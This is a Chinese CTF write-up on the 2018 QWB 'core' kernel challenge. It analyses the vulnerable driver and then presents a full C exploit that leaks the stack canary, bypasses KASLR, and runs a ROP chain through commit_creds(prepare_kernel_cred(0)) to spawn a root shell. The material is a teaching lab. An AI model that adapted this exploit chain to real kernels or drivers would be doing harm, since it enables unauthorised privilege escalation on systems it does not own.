Kernel PWN从入门到入土-Kernel ROP && Bypass Kaslr and Canary

上一篇KERNEL ROP分析了BYPASS SEMP,这篇来说一下Canary和Kaslr

本篇以强网杯 2018 core为例

QEMU Start

还是先分析一下给的东西然后起qemu,解压一下。

可以看到这次给了vmlinux,之前说过了vmlinux是静态编译的kernel文件,包含着符号表,我们可以拿到gadgets。并没有给出.ko,自己提取。

railgun@Kernel:~/qwb-core/core$ sudo mv ../core.cpio ./rootfs.cpio.gz
railgun@Kernel:~/qwb-core/core$ gunzip ./rootfs.cpio.gz

railgun@Kernel:~/qwb-core/core$ sudo cpio -idmv < rootfs.cpio
·
·
root/flag
core.ko
tmp
init
vmlinux
104379 blocks

找一下.ko顺便看一下init。

railgun@Kernel:~/qwb-core/core$ ls
bin etc init lib64 proc sbin tmp vmlinux
core.ko gen_cpio.sh lib linuxrc root sys usr

railgun@Kernel:~/qwb-core/core$ cat init
!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
  • 可以看到insmod /core.ko
  • cat /proc/kallsyms > /tmp/kallsyms,而后面把kptr设置为1,就不能通过/proc/kallsyms查看函数地址了。
  • 把dmesg改为1,不能通过dmesg查看kernel信息了。
  • poweroff设置了定时关机,我们把它删掉。

看到ko开了Canary。后面发现有个gen_cpio.sh:

打包rootfs的,不用自己写了,删掉定时关机来重新打包。

railgun@Kernel:~/qwb-core/core$ sudo sh gen_cpio.sh ../core.cpio

最后来看一下boot.sh。

看到开了Kaslr保护。

基本的信息我们已经分析完毕,起QEMU:

报错如上图。

[ 1.095172] Kernel panic - not syncing: Out of memory and no killable processes…

内存不够用,给他多分点。

然后再尝试起qemu:

.ko Analyse

实现了几个主要函数,来看一下。

core_ioctl()

可以看到三个命令,第一个调用core_read,第二个设置全局变量off,第三个调用core_copy_func。

core_read()

从v5+off处读取64字节到用户空间,这里注意,因为off我们可以控制,所以可以考虑通过它来leak一下canary。

core_copy_func()

从全局变量name将指定长度的数据copy到局部变量中,大小不能大于63,但是发现copy时数据是unsigned_int16,可造成栈溢出。

向全局变量name上写数据。

思路如下:

  1. 通过设置全局变量off以及调用core_read()来leak canary。
  2. 调用core_write()写全局变量name构造ROP。
  3. 调用core_copy_func()触发栈溢出。
  4. 执行commit_creds(prepare_kernel_cred(0))。
  5. 返回用户态起shell。

PoC && Debug

关于commit_cread()以及prepare_kernel_cred()的相关问题上一篇已经说过了,因为设置了kptr_restrict,我们不能直接查看/proc/kallsyms来获得地址,但是init已经将它写入/tmp/kallsysms中。

关于返回用户态上一篇也涉及到了,首先保存状态,恢复状态然后swapgs;iretq。

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

因为开了KASLR,我们要用gadget就得计算一下base地址。

void getAddress(){
	printf("prepare_kernel_cred: ", &prepare_kernel_cred);
	scanf("%llx", &prepare_kernel_cred);
	printf("commit_creds: ", &commit_creds);
	scanf("%llx", &commit_creds);

	vm_base = commit_creds - 0x9c8e0;
	printf("VM base:%p",vm_base);
}

这里我上面的offset计算有误,不知道为什么,只能借助wiki的offset了。

下面看一下canary,有必要说一下调试的问题。

可以通过 -gdb tcp:port 或者 -s 来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。

另外通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载

.text 段的地址可以通过 /sys/modules/core/section/.text 来查看(直接lsmod这里看不到),查看需要 root 权限,因此为了方便调试,我们再改一下 init:

这样启动后就是root权限了,方便调试。

QEMU:

/ # cat /sys/module/core/sections/.text
0xffffffffc0394000

GDB:

pwndbg> add-symbol-file ./core/core.ko 0xffffffffc0394000
add symbol table from file "./core/core.ko" at
.text_addr = 0xffffffffc0394000
Reading symbols from ./core/core.ko…(no debugging symbols found)…done.

我们要看一下canary的偏移,分别在core_read、core_ioctl、core_copy_func下段。

off存放在0xffffffffc0396c00中,接着走。

走到core_read():可以看到canary被存放到了rsp+50+var_10的位置。

看到特征确实符合canary,然后在core_read过程中sp并没有发生变化:

得出canary=rsp+0x40,也就是将off设置为0x40即可。

所有涉及到修改文件系统的操作都要重新打包生成,以后不再强调。

测试PoC的时候记得修改init,以chall权限起qemu

#Whole PoC

// gcc PoC.c -o PoC -masm=intel -g -static

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

ssize_t offset = 0;
size_t vm_base = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
	__asm__("mov user_cs, cs;"
		"mov user_ss, ss;"
		"mov user_sp, rsp;"
		"pushf;"
		"pop user_rflags;"
		);
	puts("[*]status has been saved.");
}

void shell(){
	if(getuid()==0){
		puts("Pwned!");
		system("/bin/sh");
	}else{
		puts("Failed");
	}
}

void getAddress(){
	printf("prepare_kernel_cred: ", &prepare_kernel_cred);
	scanf("%llx", &prepare_kernel_cred);
	printf("commit_creds: ", &commit_creds);
	scanf("%llx", &commit_creds);

	vm_base = commit_creds - 0x9c8e0;
	printf("VM base:%p\n",vm_base);
}

void core_read(int fd, char *buf)
{
	puts("[*]call core_read() now.");
	ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

int main(){
	//save status
	save_status();
	
	//open device
	int fd = open("/proc/core",2);
	if(fd < 0){
		puts("[!]Open core Failed!");
		exit(0);
	}

	//get functions
	getAddress();

	//get Canary
	set_off(fd,0x40);
	
	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];

	printf("[*]Canary leak successfully:%p\n",canary);

	//ROP
	size_t rop[0x1000] = {0};

	ssize_t offset = vm_base - raw_vmlinux_base;
	size_t pop_rdi_ret = 0xffffffff81000b2f + offset;
	size_t pop_rdx_ret = 0xffffffff810a0f49 + offset;
	size_t pop_rcx_ret = 0xffffffff81021e53 + offset;
	size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a + offset;
	size_t swapgs_popfq_ret = 0xffffffff81a012da + offset;
	size_t iretq_ret = 0xffffffff81050ac2 + offset;

	int i = 0;
	for(i=0;i<10;i++){
		rop[i] = canary;
	}

	rop[i++] = pop_rdi_ret;
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;

	rop[i++] = pop_rdx_ret;
	rop[i++] = pop_rcx_ret;
	rop[i++] = mov_rdi_rax_call_rdx;
	rop[i++] = commit_creds;

	rop[i++] = swapgs_popfq_ret;
	rop[i++] = 0;
	rop[i++] = iretq_ret;

	rop[i++] = (size_t)shell;
	
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	write(fd,rop,0x800);
	core_copy_func(fd, 0xffffffffffff0000 | (0x100));

	return 0;
}

ROP调用commit_creds(prepare_kernel_cred(0))提权并返回用户态起shell。

Leave a Reply

Your email address will not be published. Required fields are marked *

11 + three =